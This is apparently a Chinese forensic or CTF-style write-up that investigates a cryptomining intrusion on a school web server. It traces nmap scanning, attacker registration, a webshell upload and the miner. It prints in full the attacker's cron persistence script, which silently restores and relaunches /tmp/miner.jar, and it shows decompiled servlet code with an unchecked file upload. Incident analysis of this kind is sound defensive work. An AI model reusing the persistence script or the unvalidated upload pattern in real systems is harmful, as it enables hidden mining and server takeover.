1. 学校挖矿病毒

第一个问题:最终使用nmap扫描的IP是?

排查 Nmap 的默认 HTTP 特征:http.user_agent contains "map"

07BE13D4-B192-4345-8B0B-0AA7F4B41C17.png

第二个问题:攻击者在web系统中注册的用户名是?

登录、注册这类功能一般是 HTTP POST 提交,直接定位注册 /servlet/user/register 路径。

D248266C-7A86-4074-987F-72201EB093A2.png

第三个问题:最终成功控制主机的木马文件名是?

同样分析查看 POST 请求,发现存在两次文件上传行为,并且存在多次请求的 JSP 文件/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp,查看内容直接确定为 WebShell。

6F96E6B3-ABEC-4551-AF15-52709E5A7B10.png

第四个问题:矿池地址是多少?

首先定位挖矿进程,/tmp/miner.jar,直接进行反编译查看。

9936792D-42ED-4910-9672-35463F9007C4.png
D01C4153-4BCE-4AFD-96BF-9A3CA339CAFF.png

第五个问题:后门程序的路径是?

排查计划任务,发现/usr/share/.per/persistence.sh

76B31E29-2547-414F-9F28-26C0E0469EDE.png

检查挖矿进程是否启动,若进程不存在则启动。

#!/bin/bash

SOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"


if pgrep -f "$PROCESS_NAME" > /dev/null; then
    exit 0
else
    echo "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"
    if [ ! -f "$DEST_FILE" ]; then
        echo "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"
        cp "$SOURCE_FILE" "$DEST_FILE"
        chmod +x "$DEST_FILE"
    fi
    
    if [ -f "$DEST_FILE" ]; then
        nohup java -jar "$DEST_FILE" > /dev/null 2>&1 &
        echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"
    else
        echo "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"
    fi
fi

修复:排查漏洞原因

找一下对 Tomcat 目录,定位漏洞路径/servlet/user/uploadAvatar 对应文件。find / -type d -name "*webapp*" 2>/dev/null

C9537159-F756-4710-AA9A-F3CA2B19E175.png

没有对应路径文件,说明是是由代码指定,直接找 controller 目录,发现与之相关的 UserServlet。下载进行反编译分析,其调用FileUploadUtil.uploadFile()处理。

58CD1988-30FF-41C3-A6AB-09C5B858A098.png
import com.school.util.FileUploadUtil;
// 省略其他

@WebServlet({"/servlet/user/*"})
public class UserServlet extends HttpServlet {
    private static final long serialVersionUID = 1;
    private UserDao userDao = new UserDao();

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 省略
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String action = request.getPathInfo();
        if (action == null) {
            action = "/login";
        }
        switch (action) {
            // case xxx : 省略
            case "/uploadAvatar":
                uploadAvatar(request, response);
                break;
            default:
                response.sendRedirect(request.getContextPath() + "/login.jsp");
                break;
        }
    }

    private void uploadAvatar(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        HttpSession session = request.getSession(false);
        if (session == null || session.getAttribute("user") == null) {
            // 省略,登录验证
        }
        User user = (User) session.getAttribute("user");
        Map<String, Object> result = FileUploadUtil.uploadFile(request);
        if (((Boolean) result.get("success")).booleanValue()) {
            // 省略上传成功,更新数据库
        }
        // 省略返回
    }
}

下载反编译查看FileUploadUtil.uploadFile(request),没有任何的文件校验措施,进而可以任意文件上传。

37FDDE11-084A-4124-8477-3A9855388A27.png